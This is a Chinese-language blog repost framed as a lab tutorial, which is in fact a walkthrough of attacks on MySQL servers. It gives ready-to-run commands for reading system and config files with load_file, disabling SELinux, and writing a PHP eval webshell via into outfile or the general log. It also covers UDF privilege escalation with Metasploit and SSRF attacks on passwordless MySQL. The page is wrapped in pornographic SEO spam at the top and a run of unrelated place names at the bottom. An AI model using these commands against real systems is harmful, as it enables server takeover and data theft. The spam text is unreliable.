亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

mysql在Linux環境下如何進行文件讀取

發布時間:2021-12-04 14:01:59 來源:億速云 閱讀:492 作者:iii 欄目:網絡管理

這篇文章主要講解了“mysql在Linux環境下如何進行文件讀取”,文中的講解內容簡單清晰,易于學習與理解,下面請大家跟著小編的思路慢慢深入,一起來研究和學習“mysql在Linux環境下如何進行文件讀取”吧!

讀文件:

load_file

load_file 在滲透過程中也就是讀取文件,或者sql盲注的時候可以通過dnslog加快注入速度。

secure_file_priv :

當 mysql secure_file_priv 配置項為空(空是""而不是NULL,NULL代表不可讀取),或者指定的一個目錄時,即可讀取文件。

mysql命令行查看 secure_file_priv 配置

show variables like "%secure_file_priv%";

mysql在Linux環境下如何進行文件讀取

讀取服務配置項:

條件:

1. 系統中關閉了 selinux

2. 知道服務配置文件路徑

3. secure_file_priv 可讀到 web 目錄

讀取mysql 配置文件

select load_file("/etc/my.cnf");

mysql在Linux環境下如何進行文件讀取

在Centos中,如果開啟了 selinux,是無法讀取到其他服務配置文件或者 /etc/passwd 的,需要將 selinux 關閉才能讀取。

在實際情況中,也許會有管理人員為了方便將 selinux 關閉。所以讀取下其他服務配置文件是值得一試的。

關閉 selinux

setenforce 0

讀取web源碼

條件:

1. 系統中關閉了 selinux

2. 知道 web絕對路徑的情況

3. secure_file_priv 可讀到 web 目錄

讀取web源碼,就可以簡單的進行審計,查找突破口啦。

load data infile

條件:

1. 系統中關閉了 selinux

2. 知道 web絕對路徑的情況

3. secure_file_priv 可讀到 web 目錄

load data infile 也是讀取服務端文件的語句,同樣的也是受 secure_file_priv的限制。基本用法如下:

第一步,得有一個數據表,里頭的字段能夠存放的進我們要讀取的文件:

mysql在Linux環境下如何進行文件讀取

第二步,使用 load data infile 語句讀取指定文件內容,并存入數據庫:

mysql在Linux環境下如何進行文件讀取

假設登入的用戶權限較小,我們登入的用戶只需要用 file 、insert 和 select 權限即可,然后隨便找個數據表也可進行讀取。

mysql在Linux環境下如何進行文件讀取

如果要讀取配置文件,也是一樣的需要 關閉 selinux 才行。

如果在 windows下,就沒有這么多限制哦。

寫文件

outfile

當 secure_file_priv 配置項為空或者指定了一個目錄時,且該目錄mysql有寫入權限。Mysql可寫入文件

注意:outfile 和 dumpfile 在 mysql 3.23.55版本之后,不可以覆蓋文件。只能創建新文件

簡單示例:

select "123" into outfile "/tmp/123.txt";

mysql在Linux環境下如何進行文件讀取

寫入WebShell

條件:

1.知道web目錄

2. secure_file_priv 可寫到 web目錄

以php為例:

select "<?php @eval($_GET['x']);?>" into outfile "/var/www/html/test.php";

mysql在Linux環境下如何進行文件讀取

mysql在Linux環境下如何進行文件讀取

dumpfile udf提權

條件:

1. mysql plugin 目錄可寫

2. secure_file_priv 可寫到 mysql plugin 目錄

由于 Centos 中默認 plugin 目錄是不可寫入的,如果要通過寫入一個 udf文件的話,還需要設置其可寫。但是不得不承認,現實中確實有這樣的管理員,圖方便直接將目錄設置為777

mysql在Linux環境下如何進行文件讀取

坑點:

(1)udf文件版本一定要和 mysql對應。不知道mysql什么版本可以使用如下語句查詢:

select  @@version;

(2)不要用 sqlmap 的linux udf文件,會報如下錯誤:

mysql在Linux環境下如何進行文件讀取

因為sqlmap的udf文件沒有 ELF 頭:

備注:sqlmap udf 路徑為 /usr/share/sqlmap/data/udf/mysql/linux/

mysql在Linux環境下如何進行文件讀取

要用 metasploit 的 udf 文件:

備注:metasploit udf 路徑為 /usr/share/metasploit-framework/data/exploits/mysql/

mysql在Linux環境下如何進行文件讀取

(3)不能錯用成 outfile ,這樣子弄出來的 udf文件無法使用。估計是 outfile 進來的不是二進制格式,而是普通的ascii碼格式:

outfile 出來的文件格式(錯誤):

mysql在Linux環境下如何進行文件讀取

dumpfile 出來的文件格式 (正確):

mysql在Linux環境下如何進行文件讀取

使用 msf 進行 udf 提權,抓包查看其流程。

注意:

默認 mysql 傳輸過程使用了 ssl加密,直接抓包看不到內容。我們需要將其切換為 不使用 ssl 加密

我們先停止 mysql 服務:

systemctl stop mysqld

給 mysql用戶 /bin/bash權限:

vim /etc/passwd

mysql在Linux環境下如何進行文件讀取

然后切換到 mysql 用戶,執行命令:

/usr/sbin/mysqld --ssl=0

參數 --ssl=0 表示傳輸不使用 ssl 加密

使用 msf 模塊

exploit/multi/mysql/mysql_udf_payload

坑點:

(1)如果msf反應 no session was created:

mysql在Linux環境下如何進行文件讀取

說明可能沒有選擇 target 和 payload

需要設置 target 為 Linux

payload 設置 linux/x86/shell/bind_tcp 就好了。高級的 meterpreter可能無法彈回來

(2)如果發現卡死了:

mysql在Linux環境下如何進行文件讀取

這時我們需要連入 mysql,執行命令:

drop function sys_exec;

mysql在Linux環境下如何進行文件讀取

這是因為之前沒有設 target 和 payload 的原因,但 msf 已經創建好函數了,只是沒有 payload 將其反彈。我們需要將原函數刪掉,讓msf 再創建一次才能彈回 shell

mysql在Linux環境下如何進行文件讀取

抓包分析

我們通過抓包,發現其直接寫入十六進制碼到 udf 文件中:

mysql在Linux環境下如何進行文件讀取mysql在Linux環境下如何進行文件讀取

我們先置空前面 msf 的操作:刪除其上傳的 udf 文件,刪除函數(drop function語句)。我們自己手工來一遍:

復制抓包得到的 十六進制碼值,由于由 1w+字符,就不復制到這里了:

mysql在Linux環境下如何進行文件讀取

連入mysql,通過 select dumpfile語句,將這一大串 udf文件的 十六進制碼輸出到 udf文件中:

注意:由于是十六進制碼,所以輸出的時候不需要加雙引號:

select 一大串十六進制碼 into dumpfile "/usr/lib64/mysql/plugin/udf.so";

mysql 成功寫入udf文件后,使用語句 :

create function sys_eval returns string soname "udf.so";

即可創建一個函數,這個函數的名字和功能由 .so 文件已經設定好了的

我們使用的這個 udf 文件的 函數名就叫 sys_eval

直接調用即可:

select sys_eval("whoami");

mysql在Linux環境下如何進行文件讀取

general log

條件

1.知道web路徑

本實驗在Centos7 下使用 mysql5.7 ,先不說有 selinux 和 目錄權限問題,由于 general_log 寫出來的文件權限為 640,其他用戶(apache用戶)不可讀。導致php文件無法執行。

mysql在Linux環境下如何進行文件讀取

所以general log 的實驗采用 windows 系統進行。

注意:general log 不受 secure_file_priv 的限制哦

基本環境:

secure_file_priv 為 NULL,則 load file 和 outfile/dumpfile 皆不可用。

mysql在Linux環境下如何進行文件讀取

查看 general log狀態:

show variables like "%general%";

mysql在Linux環境下如何進行文件讀取

一般 general_log 默認是關閉的,不過這個配置我們可以手動開起來。

設置日志輸出類型為文件:

有時候 mysql 默認日志輸出類型不是 FILE 而是 TABLE。

如果是TABLE的話,是不會將日志輸出為文件格式的。

mysql在Linux環境下如何進行文件讀取

需要將其類型設置為 FILE

set global log_output="FILE";

設置輸出文件路徑:

注意:windows 的路徑分隔符為 \,但在 mysql 看來,\ 是轉義符,所以我們得使用雙斜杠: \\

set global general_log_file="C:\\phpstudy_pro\\WWW\\1.php";

開啟 general log:

set global general_log=on;

由于一開啟 general log,此時在 mysql 上的所有操作都會被記錄下來。為了讓輸出的文件雜質少一點。我們細節一點最后再開啟 general log

mysql在Linux環境下如何進行文件讀取mysql在Linux環境下如何進行文件讀取

SSRF對于 Mysql 的利用

基礎:

注意:現在mysql連接方式有三種:

Unix套接字;

內存共享/命名管道;

TCP/IP套接字;

Linux或Unix環境下,輸入 mysql -uroot -p123456 登錄Mysql服務器的時候用的就是 Unix套接字 的方式登錄

Windows系統客戶端和Mysql在同一臺電腦上,可以使用命令管道和共享內存的方式

TCP/IP套接字是任何系統下都可以使用的方式,使用方式為:

mysql -h227.0.0.1 -uroot -p123456

由于Mysql有密碼的時候,是通過發送隨機挑戰碼來驗證的,而沒有密碼的時候不需要發送隨機挑戰碼。

所以我們攻擊Mysql的時候Mysql服務端必須是空密碼才可以攻擊成功。畢竟隨機的會變的東西無法猜測,就構造不了payload了

有密碼的情況:(只發了一個字節過去就卡住了)

mysql在Linux環境下如何進行文件讀取

而且TCP/IP默認采用了SSL,所以我們抓包抓的是密文包

上文也提到,要強制不使用ssl,加個參數 --ssl=0:

其實只要客戶端和服務端任意一方不使用 ssl,整個 tcp傳輸過程都是不采用 ssl的

客戶端連接:

mysql -h227.0.0.1 -uroot -p123456 --ssl=0

坑點:

mysql5.7有了個 validate_password_length 和 validate_password_policy,是設置密碼復雜度的,而且就算密碼復雜度降到最低,還是要驗證密碼長度,但密碼長度最低只能為4個字符,所以無法設置0字符的密碼。

mysql在Linux環境下如何進行文件讀取

只能降低mysql版本再做實驗。

這里我做實驗的是kali的mysql,這個可以設置空密碼。但是一開始kali的mysql有點問題。

坑點:

kali中使用的是 MariaDB數據庫,它缺省使用 Unix_socket。導致我們登錄不需要輸入密碼,直接就登進去了,抓包也抓不到 tcp傳輸包。

我們要將 MariaDB數據庫 修改成使用 tcp 方式傳輸。

修改配置插件(直接在 mysql 命令行打):

update mysql.user set plugin='mysql_native_password' where user='root';

刷新權限后即可:

flush privileges

實驗 SSRF

第一步、mysql創建實驗用戶:

create user 'root'@'%';
grant all privileges on *.* to 'root'@'%';

第二步、開個wireshark,監聽lo網卡(lo網卡即為本地網卡,只會有localhost的流量)的包

mysql在Linux環境下如何進行文件讀取

第三步、mysql中輸入命令,并抓包:

mysql在Linux環境下如何進行文件讀取

第四步、整理數據包:

設置只看客戶端發送的流量

用hex模式查看

將東西全部復制出去,只保留中間的十六進制值,每個值前加個 “%”

mysql在Linux環境下如何進行文件讀取

變成如下的形式

mysql在Linux環境下如何進行文件讀取

第五步、用curl測試:

mysql在Linux環境下如何進行文件讀取

注意,這里需要加上 --output -才能顯示完全。

感謝各位的閱讀,以上就是“mysql在Linux環境下如何進行文件讀取”的內容了,經過本文的學習后,相信大家對mysql在Linux環境下如何進行文件讀取這一問題有了更深刻的體會,具體使用情況還需要大家實踐驗證。這里是億速云,小編將為大家推送更多相關知識點的文章,歡迎關注!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

通河县| 滦南县| 资源县| 介休市| 天长市| 博湖县| 海阳市| 普陀区| 云龙县| 葫芦岛市| 阿坝县| 澳门| 田东县| 兴隆县| 临高县| 柳河县| 南昌市| 临武县| 新宾| 通渭县| 阿荣旗| 山西省| 黄浦区| 绥化市| 馆陶县| 临西县| 皮山县| 平果县| 平湖市| 亚东县| 西平县| 广灵县| 离岛区| 秭归县| 沙河市| 隆昌县| 吉林省| 仁化县| 板桥市| 嵊泗县| 邹平县|